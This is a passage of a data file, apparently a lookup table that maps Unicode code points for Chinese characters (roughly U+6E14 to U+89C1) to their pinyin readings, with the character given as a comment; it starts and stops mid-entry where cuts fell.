yú # 渔 U+6E17: shèn # 渗 U+6E1B: jiǎn # 減 U+6E20: qú # 渠 U+6E21: dù # 渡 U+6E23: zhā # 渣 U+6E26: wō # 渦 U+6E29: wēn # 温 U+6E2C: cè # 測 U+6E2F: gǎng # 港 U+6E34: kě # 渴 U+6E38: yóu # 游 U+6E3A: miǎo # 渺 U+6E3E: hún # 渾 U+6E43: pài # 湃 U+6E4A: còu # 湊 U+6E56: hú # 湖 U+6E6F: tāng,tang # 湯 U+6E7E: wān # 湾 U+6E7F: shī # 湿 U+6E83: kuì # 溃 U+6E85: jiàn # 溅 U+6E89: gài # 溉 U+6E90: yuán # 源 U+6E9C: liū # 溜 U+6E9D: gōu # 溝 U+6EAA: xī # 溪 U+6EAB: wēn # 溫 U+6EB6: róng # 溶 U+6EC5: miè # 滅 U+6ECB: zī # 滋 U+6ECC: dí # 滌 U+6ED1: huá,hua # 滑 U+6ED4: tāo # 滔 U+6EDA: gǔn # 滚 U+6EE1: mǎn # 满 U+6EE5: làn # 滥 U+6EE8: bīn # 滨 U+6EE9: tān # 滩 U+6EF2: shèn # 滲 U+6EF4: dī # 滴 U+6EFE: gǔn # 滾 U+6EFF: mǎn # 滿 U+6F01: yú # 漁 U+6F02: piào,piāo # 漂 U+6F06: qī # 漆 U+6F0F: lòu # 漏 U+6F14: yǎn # 演 U+6F20: mò # 漠 U+6F22: hàn # 漢 U+6F29: xuán # 漩 U+6F2B: màn # 漫 U+6F32: zhǎng,zhàng # 漲 U+6F38: jiàn # 漸 U+6F3E: yàng # 漾 U+6F3F: jiāng # 漿 U+6F51: po,pō # 潑 U+6F54: jié # 潔 U+6F5B: qián # 潛 U+6F5C: qián # 潜 U+6F64: rùn # 潤 U+6F6D: tán # 潭 U+6F6E: cháo # 潮 U+6F70: kuì # 潰 U+6F86: jiāo # 澆 U+6F8E: pēng # 澎 U+6FA1: zǎo # 澡 U+6FB1: diàn # 澱 U+6FC0: jī,ji # 激 U+6FC1: zhuó # 濁 U+6FC3: nóng # 濃 U+6FD5: shī # 濕 U+6FDF: jì # 濟 U+6FE4: tāo # 濤 U+6FEB: làn # 濫 U+6FF1: bīn # 濱 U+6FFA: jiàn # 濺 U+7011: pù # 瀑 U+701D: lì # 瀝 U+704C: guàn # 灌 U+7058: tān # 灘 U+7063: wān # 灣 U+706B: huǒ # 火 U+706D: miè # 灭 U+706F: dēng # 灯 U+7070: huī # 灰 U+7075: líng,ling # 灵 U+7076: zào # 灶 U+707D: zāi # 災 U+707E: zāi # 灾 U+707F: càn # 灿 U+7089: lú # 炉 U+708A: chuī # 炊 U+708E: yán # 炎 U+7092: chǎo # 炒 U+7095: kàng # 炕 U+70AD: tàn # 炭 U+70AE: pào # 炮 U+70AF: jiǒng # 炯 U+70B8: zhà # 炸 U+70B9: diǎn # 点 U+70BA: wèi,wéi # 為 U+70BC: liàn # 炼 U+70C1: shuò # 烁 U+70C2: làn # 烂 U+70C8: liè # 烈 U+70CF: wū # 烏 U+70D8: hōng # 烘 U+70DB: zhú # 烛 U+70DF: yān # 烟 U+70E4: kǎo # 烤 U+70E6: fán,fan # 烦 U+70E7: shāo # 烧 U+70EB: tàng # 烫 U+70ED: rè # 热 U+710A: hàn # 焊 U+7121: wú # 無 U+7126: jiāo # 焦 U+7130: yàn # 焰 U+7136: rán,ran # 然 U+7149: liàn # 煉 U+714C: huáng # 煌 U+714E: jiān # 煎 U+7159: yān # 煙 U+715E: shā # 煞 U+7164: méi # 煤 U+7167: zhào # 照 U+7169: fán,fan # 煩 U+716E: zhǔ # 煮 U+7184: xī # 熄 U+718A: xióng # 熊 U+718F: xūn # 熏 U+7194: róng # 熔 U+719F: shú # 熟 U+71AC: áo # 熬 U+71B1: rè # 熱 U+71C3: rán # 燃 U+71C8: dēng # 燈 U+71D2: shāo # 燒 U+71D5: yàn # 燕 U+71D9: tàng # 燙 U+71DF: yíng # 營 U+71E5: zào # 燥 U+71E6: càn # 燦 U+71ED: zhú # 燭 U+7206: bào # 爆 U+720D: shuò # 爍 U+7210: lú # 爐 U+721B: làn # 爛 U+722A: zhǎo,zhuǎ # 爪 U+722C: pá # 爬 U+722D: zhēng # 爭 U+7231: ài # 爱 U+7236: fù # 父 U+7237: ye,yé # 爷 U+7238: bà,ba # 爸 U+7239: diē # 爹 U+723A: ye,yé # 爺 U+723D: shuǎng # 爽 U+723E: ěr # 爾 U+7246: qiáng # 牆 U+7247: piàn,piān # 片 U+7248: bǎn # 版 U+724C: pái # 牌 U+7259: yá # 牙 U+725B: niú # 牛 U+7261: mǔ # 牡 U+7262: láo # 牢 U+7266: máo # 牦 U+7267: mù # 牧 U+7269: wù,wu # 物 U+7272: shēng # 牲 U+7275: qiān # 牵 U+7279: tè # 特 U+727A: xī # 牺 U+727D: qiān # 牽 U+7280: xī # 犀 U+7281: lí # 犁 U+729B: máo # 犛 U+72A7: xī # 犧 U+72AC: quǎn # 犬 U+72AF: fàn # 犯 U+72B6: zhuàng # 状 U+72B9: yóu # 犹 U+72C0: zhuàng # 狀 U+72C2: kuáng # 狂 U+72C8: bèi # 狈 U+72D0: hú # 狐 U+72D7: gǒu # 狗 U+72E0: hěn # 狠 U+72E1: jiǎo # 狡 U+72EC: dú # 独 U+72ED: xiá # 狭 U+72EE: shī # 狮 U+72F1: yù # 狱 U+72F8: li # 狸 U+72F9: xiá # 狹 U+72FC: láng # 狼 U+72FD: bèi # 狽 U+730E: liè # 猎 U+731B: měng # 猛 U+731C: cāi # 猜 U+7329: xīng,xing # 猩 U+732A: zhū # 猪 U+732B: māo # 猫 U+732C: wei # 猬 U+732E: xiàn # 献 U+7334: hóu # 猴 U+7336: yóu # 猶 U+733E: huá # 猾 U+733F: yuán # 猿 U+7344: yù # 獄 U+7345: shī # 獅 U+734E: jiǎng # 獎 U+7368: dú # 獨 U+7372: huò # 獲 U+7375: liè # 獵 U+7378: shòu # 獸 U+737B: xiàn # 獻 U+7387: lǜ,shuài # 率 U+7389: yù # 玉 U+738B: wáng # 王 U+73A9: wán # 玩 U+73AF: huán # 环 U+73B0: xiàn # 现 U+73B2: líng # 玲 U+73BB: bō # 玻 U+73CA: shān # 珊 U+73CD: zhēn # 珍 U+73D1: lóng # 珑 U+73E0: zhū # 珠 U+73ED: bān # 班 U+73FE: xiàn # 現 U+7403: qiú # 球 U+7406: lǐ,li # 理 U+7410: suǒ # 琐 U+7422: zuó # 琢 U+7434: qín # 琴 U+745A: hú # 瑚 U+7463: suǒ # 瑣 U+7469: yíng # 瑩 U+7483: lí # 璃 U+74B0: huán # 環 U+74CF: lóng # 瓏 U+74DC: guā # 瓜 U+74E2: piáo # 瓢 U+74E3: bàn # 瓣 U+74E6: wǎ # 瓦 U+74F6: píng # 瓶 U+74F7: cí # 瓷 U+7518: gān # 甘 U+751A: shén,shèn # 甚 U+751C: tián # 甜 U+751F: shēng,sheng # 生 U+7522: chǎn # 產 U+7528: yòng,yong # 用 U+7529: shuǎi # 甩 U+752B: fu # 甫 U+752D: béng # 甭 U+7530: tián # 田 U+7531: yóu # 由 U+7532: jiǎ,jia # 甲 U+7533: shēn # 申 U+7535: diàn # 电 U+7537: nán # 男 U+7538: diān # 甸 U+753B: huà # 画 U+7545: chàng # 畅 U+754C: jiè # 界 U+754F: wèi # 畏 U+7554: pàn # 畔 U+7559: liú # 留 U+755C: chù,xù # 畜 U+755D: mǔ # 畝 U+7562: bì # 畢 U+7565: lüè # 略 U+756A: fān # 番 U+756B: huà # 畫 U+7570: yì # 異 U+7576: dāng,dàng,dang # 當 U+7586: jiāng # 疆 U+758A: dié # 疊 U+758F: shū # 疏 U+7591: yí # 疑 U+7597: liáo # 疗 U+7599: gē # 疙 U+75AB: yì # 疫 U+75AF: fēng # 疯 U+75B2: pí # 疲 U+75BC: téng # 疼 U+75BE: jí # 疾 U+75C5: bìng # 病 U+75C7: zhèng # 症 U+75D2: yǎng # 痒 U+75D5: hén # 痕 U+75DB: tòng # 痛 U+75F0: tán # 痰 U+75F9: bì # 痹 U+75FA: bì # 痺 U+760B: fēng # 瘋 U+7626: shòu # 瘦 U+7629: da # 瘩 U+762A: biě # 瘪 U+7642: liáo # 療 U+764C: ái # 癌 U+765F: biě # 癟 U+767B: dēng # 登 U+767C: fā,fa,fà # 發 U+767D: bái,bai # 白 U+767E: bǎi # 百 U+7682: zào # 皂 U+7684: de,dì,dí # 的 U+7686: jiē # 皆 U+7687: huáng # 皇 U+76AE: pí # 皮 U+76B1: zhòu # 皱 U+76BA: zhòu # 皺 U+76C6: pén # 盆 U+76CA: yì # 益 U+76CF: zhǎn # 盏 U+76D0: yán # 盐 U+76D1: jiān # 监 U+76D2: hé # 盒 U+76D4: kuī # 盔 U+76D6: gài,gai # 盖 U+76D7: dào # 盗 U+76D8: pán,pan # 盘 U+76DB: shèng,chéng # 盛 U+76DC: dào # 盜 U+76DE: zhǎn # 盞 U+76DF: méng # 盟 U+76E1: jǐn,jìn # 盡 U+76E3: jiān # 監 U+76E4: pán,pan # 盤 U+76EE: mù # 目 U+76EF: dīng # 盯 U+76F2: máng # 盲 U+76F4: zhí # 直 U+76F8: xiāng,xiàng # 相 U+76FC: pàn # 盼 U+76FE: dùn # 盾 U+7701: shěng # 省 U+7709: méi # 眉 U+770B: kàn,kān # 看 U+771F: zhēn # 真 U+7720: mián # 眠 U+7728: zhǎ # 眨 U+772F: mī # 眯 U+7736: kuàng # 眶 U+773A: tiào # 眺 U+773C: yǎn # 眼 U+773E: zhòng # 眾 U+7740: zhe,zháo,zhuó,zhāo # 着 U+7741: zhēng # 睁 U+775B: jing,jīng # 睛 U+775C: zhēng # 睜 U+7761: shuì # 睡 U+7763: dū # 督 U+776B: jié # 睫 U+7784: miáo # 瞄 U+7785: chǒu # 瞅 U+7787: mī # 瞇 U+778C: kē # 瞌 U+778E: xiā # 瞎 U+7792: mán # 瞒 U+779E: mán # 瞞 U+77A5: piē # 瞥 U+77A7: qiáo # 瞧 U+77AA: dèng # 瞪 U+77AD: liǎo,liào # 瞭 U+77BB: zhān # 瞻 U+77D7: chù # 矗 U+77DB: máo # 矛 U+77E5: zhī # 知 U+77E9: ju # 矩 U+77ED: duǎn # 短 U+77EE: ǎi # 矮 U+77F3: shí # 石 U+77FF: kuàng # 矿 U+7801: mǎ # 码 U+7802: shā # 砂 U+780C: qì # 砌 U+780D: kǎn # 砍 U+7814: yán # 研 U+7816: zhuān # 砖 U+7830: pēng # 砰 U+7834: pò # 破 U+7838: zá # 砸 U+783E: lì # 砾 U+7840: chǔ # 础 U+7845: guī # 硅 U+785D: xiāo # 硝 U+786B: liú # 硫 U+786C: yìng # 硬 U+786E: què # 确 U+788C: lù # 碌 U+788D: ài # 碍 U+788E: suì # 碎 U+7891: bēi # 碑 U+7897: wǎn # 碗 U+789F: dié # 碟 U+78A7: bì # 碧 U+78B0: pèng # 碰 U+78B1: jiǎn # 碱 U+78B3: tàn # 碳 U+78BA: què # 確 U+78BC: mǎ # 碼 U+78BE: niǎn # 碾 U+78C1: cí # 磁 U+78C5: bàng # 磅 U+78CA: lěi # 磊 U+78D5: kē # 磕 U+78DA: zhuān # 磚 U+78E8: mó,mo,mò # 磨 U+78F7: lín # 磷 U+78FA: huáng # 磺 U+790E: chǔ # 礎 U+7919: ài # 礙 U+7926: kuàng # 礦 U+792B: lì # 礫 U+793A: shì # 示 U+793C: lǐ # 礼 U+793E: shè # 社 U+7956: zǔ # 祖 U+795D: zhù # 祝 U+795E: shén,shen # 神 U+7965: xiáng # 祥 U+7968: piào # 票 U+7978: huò # 祸 U+7981: jìn,jīn # 禁 U+798D: huò # 禍 U+798F: fú # 福 U+79AE: lǐ # 禮 U+79BB: lí # 离 U+79BF: tū # 禿 U+79C0: xiù # 秀 U+79C1: sī # 私 U+79C3: tū # 秃 U+79C6: gǎn # 秆 U+79CB: qiū # 秋 U+79CD: zhǒng,zhòng # 种 U+79D1: kē # 科 U+79D2: miǎo # 秒 U+79D8: mì # 秘 U+79DF: zū # 租 U+79E4: chèng # 秤 U+79E7: yāng # 秧 U+79E9: zhì # 秩 U+79EF: jī # 积 U+79F0: chēng,chèn # 称 U+79FB: yí # 移 U+7A00: xī # 稀 U+7A05: shuì # 稅 U+7A08: gǎn # 稈 U+7A0B: chéng # 程 U+7A0D: shāo # 稍 U+7A0E: shuì # 税 U+7A1A: zhì # 稚 U+7A20: chóu # 稠 U+7A2E: zhǒng,zhòng # 種 U+7A31: chēng,chèn # 稱 U+7A33: wěn # 稳 U+7A3B: dào # 稻 U+7A3C: jia # 稼 U+7A3F: gǎo # 稿 U+7A46: mù # 穆 U+7A4D: jī # 積 U+7A4E: yǐng # 穎 U+7A57: suì # 穗 U+7A69: wěn # 穩 U+7A76: jiū,jiu # 究 U+7A77: qióng # 穷 U+7A7A: kōng,kòng # 空 U+7A7F: chuān # 穿 U+7A81: tū # 突 U+7A83: qiè # 窃 U+7A84: zhǎi # 窄 U+7A91: yáo # 窑 U+7A96: jiào # 窖 U+7A97: chuāng # 窗 U+7A9C: cuàn # 窜 U+7A9D: wō # 窝 U+7A9F: kū # 窟 U+7AA9: wō # 窩 U+7AAE: qióng # 窮 U+7AAF: yáo # 窯 U+7ABF: long # 窿 U+7AC4: cuàn # 竄 U+7ACA: qiè # 竊 U+7ACB: lì # 立 U+7AD6: shù # 竖 U+7AD9: zhàn # 站 U+7ADE: jìng # 竞 U+7ADF: jìng # 竟 U+7AE0: zhāng # 章 U+7AE5: tóng # 童 U+7AED: jié # 竭 U+7AEF: duān # 端 U+7AF6: jìng # 競 U+7AF9: zhú # 竹 U+7AFD: yú # 竽 U+7AFF: gān # 竿 U+7B06: ba # 笆 U+7B11: xiào # 笑 U+7B14: bǐ # 笔 U+7B1B: dí # 笛 U+7B26: fú # 符 U+7B28: bèn # 笨 U+7B2C: dì # 第 U+7B3C: lóng,long,lǒng # 笼 U+7B46: bǐ # 筆 U+7B49: děng # 等 U+7B4B: jīn # 筋 U+7B50: kuāng # 筐 U+7B51: zhù # 筑 U+7B52: tǒng # 筒 U+7B54: dá,dā # 答 U+7B56: cè # 策 U+7B5B: shāi # 筛 U+7B77: kuài # 筷 U+7B7E: qiān # 签 U+7B80: jiǎn # 简 U+7B97: suàn,suan # 算 U+7BA1: guǎn # 管 U+7BA9: luó # 箩 U+7BAB: xiāo # 箫 U+7BAD: jiàn # 箭 U+7BB1: xiāng # 箱 U+7BC0: jié # 節 U+7BC7: piān # 篇 U+7BE9: shāi # 篩 U+7BEE: lán # 篮 U+7BF1: lí # 篱 U+7BF7: peng # 篷 U+7C07: cù # 簇 U+7C21: jiǎn # 簡 U+7C2B: xiāo # 簫 U+7C38: bǒ # 簸 U+7C3D: qiān # 簽 U+7C43: lán # 籃 U+7C4D: jí # 籍 U+7C60: lóng,long,lǒng # 籠 U+7C6C: lí # 籬 U+7C6E: luó # 籮 U+7C73: mǐ # 米 U+7C7B: lèi # 类 U+7C7D: zǐ # 籽 U+7C89: fěn # 粉 U+7C92: lì # 粒 U+7C97: cū # 粗 U+7C98: zhān # 粘 U+7C9C: tiào # 粜 U+7CA5: zhōu # 粥 U+7CAA: fèn # 粪 U+7CAE: liáng # 粮 U+7CB9: cuì # 粹 U+7CBE: jīng # 精 U+7CCA: hu,hú # 糊 U+7CD5: gāo # 糕 U+7CD6: táng # 糖 U+7CD9: cāo # 糙 U+7CDE: fèn # 糞 U+7CDF: zāo # 糟 U+7CE7: liáng # 糧 U+7CF6: tiào # 糶 U+7CFB: xì,xi,jì # 系 U+7CFE: jiū # 糾 U+7D00: jì # 紀 U+7D04: yuē # 約 U+7D05: hóng # 紅 U+7D0B: wén # 紋 U+7D0D: nà # 納 U+7D10: niǔ # 紐 U+7D14: chún # 純 U+7D17: shā # 紗 U+7D19: zhǐ # 紙 U+7D1A: jí # 級 U+7D1B: fēn # 紛 U+7D20: sù # 素 U+7D21: fǎng # 紡 U+7D22: suǒ,suo # 索 U+7D27: jǐn # 紧 U+7D2B: zǐ # 紫 U+7D2F: lèi,lěi # 累 U+7D30: xì # 細 U+7D33: shēn # 紳 U+7D39: shào # 紹 U+7D42: zhōng # 終 U+7D44: zǔ # 組 U+7D50: jié,jiē # 結 U+7D55: jué # 絕 U+7D61: luò # 絡 U+7D62: xuàn # 絢 U+7D66: gěi,jǐ # 給 U+7D68: róng # 絨 U+7D71: tǒng # 統 U+7D72: sī # 絲 U+7D79: juàn # 絹 U+7D81: bǎng # 綁 U+7D93: jīng,jing # 經 U+7D9C: zōng # 綜 U+7DA0: lǜ # 綠 U+7DA2: chóu # 綢 U+7DAD: wéi # 維 U+7DB1: gāng # 綱 U+7DB2: wǎng # 網 U+7DB4: zhui # 綴 U+7DB8: lún # 綸 U+7DBF: mián # 綿 U+7DCA: jǐn # 緊 U+7DD2: xù # 緒 U+7DDA: xiàn # 線 U+7DDE: duàn # 緞 U+7DE0: dì # 締 U+7DE3: yuán # 緣 U+7DE8: biān # 編 U+7DE9: huǎn # 緩 U+7DEF: wěi # 緯 U+7DF4: liàn # 練 U+7E1B: fù # 縛 U+7E23: xiàn # 縣 U+7E2B: fèng,féng # 縫 U+7E2E: suō # 縮 U+7E31: zòng # 縱 U+7E37: lǚ # 縷 U+7E3D: zǒng # 總 U+7E3E: jī # 績 U+7E41: fán # 繁 U+7E43: běng,bēng # 繃 U+7E54: zhī # 織 U+7E5E: rào,rǎo # 繞 U+7E61: xiù # 繡 U+7E69: shéng,sheng # 繩 U+7E6A: huì # 繪 U+7E6D: jiǎn # 繭 U+7E73: jiǎo # 繳 U+7E7C: jì # 繼 U+7E8C: xù # 續 U+7E8F: chán # 纏 U+7E96: xiān # 纖 U+7EA0: jiū # 纠 U+7EA2: hóng # 红 U+7EA4: xiān # 纤 U+7EA6: yuē # 约 U+7EA7: jí # 级 U+7EAA: jì # 纪 U+7EAC: wěi # 纬 U+7EAF: chún # 纯 U+7EB1: shā # 纱 U+7EB2: gāng # 纲 U+7EB3: nà # 纳 U+7EB5: zòng # 纵 U+7EB6: lún # 纶 U+7EB7: fēn # 纷 U+7EB8: zhǐ # 纸 U+7EB9: wén # 纹 U+7EBA: fǎng # 纺 U+7EBD: niǔ # 纽 U+7EBF: xiàn # 线 U+7EC3: liàn # 练 U+7EC4: zǔ # 组 U+7EC5: shēn # 绅 U+7EC6: xì # 细 U+7EC7: zhī # 织 U+7EC8: zhōng # 终 U+7ECD: shào # 绍 U+7ECF: jīng,jing # 经 U+7ED1: bǎng # 绑 U+7ED2: róng # 绒 U+7ED3: jié,jiē # 结 U+7ED5: rào,rǎo # 绕 U+7ED8: huì # 绘 U+7ED9: gěi,jǐ # 给 U+7EDA: xuàn # 绚 U+7EDC: luò # 络 U+7EDD: jué # 绝 U+7EDF: tǒng # 统 U+7EE2: juàn # 绢 U+7EE3: xiù # 绣 U+7EE7: jì # 继 U+7EE9: jī # 绩 U+7EEA: xù # 绪 U+7EED: xù # 续 U+7EF3: shéng,sheng # 绳 U+7EF4: wéi # 维 U+7EF5: mián # 绵 U+7EF7: běng,bēng # 绷 U+7EF8: chóu # 绸 U+7EFC: zōng # 综 U+7EFF: lǜ # 绿 U+7F00: zhui # 缀 U+7F0E: duàn # 缎 U+7F13: huǎn # 缓 U+7F14: dì # 缔 U+7F15: lǚ # 缕 U+7F16: biān # 编 U+7F18: yuán # 缘 U+7F1A: fù # 缚 U+7F1D: fèng,féng # 缝 U+7F20: chán # 缠 U+7F29: suō # 缩 U+7F30: jiāng # 缰 U+7F34: jiǎo # 缴 U+7F38: gāng # 缸 U+7F3A: quē # 缺 U+7F50: guàn # 罐 U+7F51: wǎng # 网 U+7F5A: fá # 罚 U+7F62: ba,bà # 罢 U+7F69: zhào # 罩 U+7F6A: zuì,zui # 罪 U+7F6E: zhì,zhi # 置 U+7F70: fá # 罰 U+7F72: shǔ # 署 U+7F75: mà # 罵 U+7F77: ba,bà # 罷 U+7F8A: yáng # 羊 U+7F8E: měi # 美 U+7F94: gāo # 羔 U+7FA1: xiàn # 羡 U+7FA4: qún # 群 U+7FA8: xiàn # 羨 U+7FA9: yì # 義 U+7FBD: yǔ # 羽 U+7FC1: wēng # 翁 U+7FC5: chì # 翅 U+7FD2: xí # 習 U+7FD4: xiáng # 翔 U+7FD8: qiào # 翘 U+7FF9: qiào # 翹 U+7FFB: fān # 翻 U+7FFC: yì # 翼 U+8000: yào # 耀 U+8001: lǎo # 老 U+8003: kǎo # 考 U+8005: zhě # 者 U+800C: ér # 而 U+800D: shuǎ # 耍 U+8010: nài # 耐 U+8015: gēng # 耕 U+8017: hào # 耗 U+8033: ěr # 耳 U+8037: dā # 耷 U+8038: sǒng # 耸 U+803B: chǐ # 耻 U+803D: dān # 耽 U+804A: liáo # 聊 U+804C: zhí # 职 U+8054: lián # 联 U+8056: shèng # 聖 U+805A: jù # 聚 U+805E: wén # 聞 U+806A: cōng # 聪 U+806F: lián # 聯 U+8070: cōng # 聰 U+8072: shēng,sheng # 聲 U+8073: sǒng # 聳 U+8077: zhí # 職 U+807D: tīng,ting # 聽 U+8083: sù # 肃 U+8085: sù # 肅 U+8089: ròu # 肉 U+808C: jī # 肌 U+8096: xiào # 肖 U+809A: dù # 肚 U+809D: gān # 肝 U+80A0: cháng # 肠 U+80A1: gǔ,gu # 股 U+80A2: zhī # 肢 U+80A4: fū # 肤 U+80A5: féi # 肥 U+80A9: jiān # 肩 U+80AA: fáng # 肪 U+80AF: kěn # 肯 U+80B2: yù # 育 U+80BA: fèi # 肺 U+80BF: zhǒng # 肿 U+80C0: zhàng # 胀 U+80C1: xié # 胁 U+80C3: wèi # 胃 U+80C6: dǎn # 胆 U+80CC: bèi,bēi # 背 U+80CE: tāi # 胎 U+80D6: pàng # 胖 U+80DC: shèng # 胜 U+80DE: bāo # 胞 U+80E1: hú # 胡 U+80E7: lóng # 胧 U+80F3: gē # 胳 U+80F6: jiāo # 胶 U+80F8: xiōng # 胸 U+80FD: néng # 能 U+8102: zhī # 脂 U+8105: xié # 脅 U+8106: cuì # 脆 U+8108: mài # 脈 U+8109: mài # 脉 U+810A: jí # 脊 U+810F: zàng,zāng # 脏 U+8111: nǎo # 脑 U+8116: bó # 脖 U+811A: jiǎo # 脚 U+812B: tuō # 脫 U+812F: pú # 脯 U+8131: tuō # 脱 U+8138: liǎn # 脸 U+8139: zhàng # 脹 U+813E: pí # 脾 U+8148: jīng # 腈 U+8150: fǔ,fu # 腐 U+8154: qiāng # 腔 U+8165: xīng # 腥 U+8166: nǎo # 腦 U+816B: zhǒng # 腫 U+816E: sāi # 腮 U+8170: yāo # 腰 U+8173: jiǎo # 腳 U+8178: cháng # 腸 U+8179: fù # 腹 U+817E: téng,teng # 腾 U+817F: tuǐ # 腿 U+8180: bǎng # 膀 U+818A: bo # 膊 U+818F: gāo # 膏 U+819A: fū # 膚 U+819B: táng # 膛 U+819C: mó # 膜 U+819D: xī # 膝 U+81A0: jiāo # 膠 U+81A8: péng # 膨 U+81BD: dǎn # 膽 U+81C2: bì,bei # 臂 U+81C9: liǎn # 臉 U+81DF: zàng,zāng # 臟 U+81E3: chén # 臣 U+81E5: wò # 臥 U+81E8: lín # 臨 U+81EA: zì # 自 U+81ED: chòu # 臭 U+81F3: zhì # 至 U+81F4: zhì # 致 U+8200: yǎo # 舀 U+8205: jiù,jiu # 舅 U+8206: yú # 舆 U+8207: yǔ,yù # 與 U+8208: xìng,xīng # 興 U+8209: jǔ,ju # 舉 U+820A: jiù # 舊 U+820B: xìn # 舋 U+820C: shé # 舌 U+820D: shě,shè # 舍 U+8212: shū # 舒 U+8214: tiǎn # 舔 U+821E: wǔ # 舞 U+821F: zhōu # 舟 U+822A: háng # 航 U+822C: bān # 般 U+8230: jiàn # 舰 U+8231: cāng # 舱 U+8236: bó # 舶 U+8239: chuán # 船 U+8247: tǐng # 艇 U+8258: sōu # 艘 U+8259: cāng # 艙 U+8266: jiàn # 艦 U+826F: liáng # 良 U+8270: jiān # 艰 U+8271: jiān # 艱 U+8272: sè # 色 U+8273: yàn # 艳 U+8277: yàn # 艷 U+827A: yì # 艺 U+8282: jié # 节 U+8292: máng # 芒 U+829D: zhī # 芝 U+82A6: lú,lu # 芦 U+82AF: xīn # 芯 U+82B1: huā,hua # 花 U+82BD: yá # 芽 U+82C7: wěi # 苇 U+82CD: cāng # 苍 U+82CF: sū # 苏 U+82D7: miáo # 苗 U+82E5: ruò # 若 U+82E6: kǔ # 苦 U+82F1: yīng # 英 U+82F9: píng # 苹 U+8301: zhuó # 茁 U+8302: mào # 茂 U+8303: fàn # 范 U+8304: jiā # 茄 U+8305: máo # 茅 U+830E: jīng # 茎 U+8327: jiǎn # 茧 U+832B: máng,māng # 茫 U+8336: chá # 茶 U+8338: rōng # 茸 U+8349: cǎo # 草 U+8350: jiàn # 荐 U+8352: huāng # 荒 U+8354: lì # 荔 U+8361: dàng # 荡 U+8363: róng # 荣 U+836F: yào # 药 U+8377: hé # 荷 U+838A: zhuāng # 莊 U+8396: jīng # 莖 U+83AB: mò,mo # 莫 U+83B7: huò # 获 U+83B9: yíng # 莹 U+83C7: gu # 菇 U+83CA: jú # 菊 U+83CC: jūn # 菌 U+83DC: cài # 菜 U+83E9: pú # 菩 U+83EF: huá # 華 U+8404: táo # 萄 U+841D: luó # 萝 U+8424: yíng # 萤 U+8425: yíng # 营 U+8428: sà # 萨 U+842C: wàn # 萬 U+843D: luò,là # 落 U+8449: yè # 葉 U+8457: zhe,zháo,zhù,zhuó,zhāo # 著 U+8461: pú # 葡 U+8466: wěi # 葦 U+846B: hú # 葫 U+846C: zàng # 葬 U+8471: cōng # 葱 U+8475: kuí # 葵 U+8499: méng,mēng,měng # 蒙 U+849C: suàn # 蒜 U+84B8: zhēng # 蒸 U+84BC: cāng # 蒼 U+84C4: xù # 蓄 U+84CB: gài,gai # 蓋 U+84DD: lán # 蓝 U+84EC: péng # 蓬 U+8511: miè # 蔑 U+8517: zhe # 蔗 U+8525: cōng # 蔥 U+852C: shū # 蔬 U+853C: ǎi # 蔼 U+853D: bì # 蔽 U+8549: jiāo # 蕉 U+8569: dàng # 蕩 U+8574: yùn # 蕴 U+8584: báo,bó # 薄 U+85A9: sà # 薩 U+85AA: xīn # 薪 U+85AF: shǔ # 薯 U+85CD: lán # 藍 U+85CF: cáng # 藏 U+85DD: yì # 藝 U+85E4: téng # 藤 U+85E5: yào # 藥 U+85F9: ǎi # 藹 U+8606: lú,lu # 蘆 U+8607: sū # 蘇 U+860A: yùn # 蘊 U+860B: píng # 蘋 U+8611: mó # 蘑 U+8638: zhàn # 蘸 U+863F: luó # 蘿 U+864E: hǔ,hu # 虎 U+864F: lǔ # 虏 U+8651: lǜ # 虑 U+8655: chù,chǔ,chu # 處 U+865A: xū # 虚 U+865B: xū # 虛 U+865C: lǔ # 虜 U+865F: hào,hao,háo # 號 U+8667: kuī # 虧 U+866B: chóng # 虫 U+867D: suī # 虽 U+867E: xiā # 虾 U+8680: shí # 蚀 U+8681: yǐ # 蚁 U+8682: mǎ # 蚂 U+868A: wén # 蚊 U+8693: yǐn # 蚓 U+8695: cán # 蚕 U+869C: yá # 蚜 U+86A3: gong # 蚣 U+86A9: chī # 蚩 U+86AA: dǒu # 蚪 U+86AF: qiū # 蚯 U+86C0: zhù # 蛀 U+86C6: qū # 蛆 U+86C7: shé # 蛇 U+86CB: dàn # 蛋 U+86D9: wā # 蛙 U+86DB: zhū # 蛛 U+86E4: há # 蛤 U+86FE: é # 蛾 U+8702: fēng # 蜂 U+8708: wú # 蜈 U+8713: tíng # 蜓 U+8717: wō # 蜗 U+8718: zhī # 蜘 U+871C: mì # 蜜 U+8721: là # 蜡 U+873B: qīng # 蜻 U+8747: ying # 蝇 U+8749: chán # 蝉 U+874C: kē # 蝌 U+8755: shí # 蝕 U+8757: huáng # 蝗 U+8759: biān # 蝙 U+875F: wei # 蝟 U+8760: fú # 蝠 U+8766: xiā # 蝦 U+8774: hú # 蝴 U+8776: dié # 蝶 U+8778: wō # 蝸 U+878D: róng # 融 U+879E: mǎ # 螞 U+87A2: yíng # 螢 U+87C0: shuài # 蟀 U+87C6: ma # 蟆 U+87CB: xī # 蟋 U+87EC: chán # 蟬 U+87FB: yǐ # 蟻 U+8805: ying # 蠅 U+8815: rú # 蠕 U+881F: là # 蠟 U+8836: cán # 蠶 U+8840: xuè,xiě # 血 U+8845: xìn # 衅 U+884C: xíng,háng # 行 U+884D: yǎn # 衍 U+8854: xián # 衔 U+8857: jiē # 街 U+8859: yá # 衙 U+885B: wèi # 衛 U+8861: héng # 衡 U+8863: yī # 衣 U+8865: bǔ # 补 U+8868: biǎo # 表 U+886B: shān # 衫 U+886C: chèn # 衬 U+8870: shuāi # 衰 U+8884: ǎo # 袄 U+888B: dài,dai # 袋 U+888D: páo # 袍 U+8896: xiù # 袖 U+889C: wà # 袜 U+88AB: bèi # 被 U+88AD: xí # 袭 U+88B1: fu # 袱 U+88C1: cái # 裁 U+88C2: liè # 裂 U+88C5: zhuāng # 装 U+88D5: yù # 裕 U+88D9: qún # 裙 U+88DC: bǔ # 補 U+88DD: zhuāng # 裝 U+88E1: li,lǐ # 裡 U+88E4: kù # 裤 U+88F3: shang # 裳 U+88F9: guǒ # 裹 U+8902: guà # 褂 U+8907: fù # 複 U+8910: hè # 褐 U+8932: kù # 褲 U+8956: ǎo # 襖 U+895F: jīn # 襟 U+896A: wà # 襪 U+896F: chèn # 襯 U+8972: xí # 襲 U+897F: xi,xī # 西 U+8981: yào,yāo # 要 U+8986: fù # 覆 U+898B: jiàn,xiàn,jian # 見 U+898F: guī # 規 U+8996: shì,shi # 視 U+89AA: qīn,qin # 親 U+89BA: jué,jiào # 覺 U+89BD: lǎn # 覽 U+89C0: guān # 觀 U+89C1: 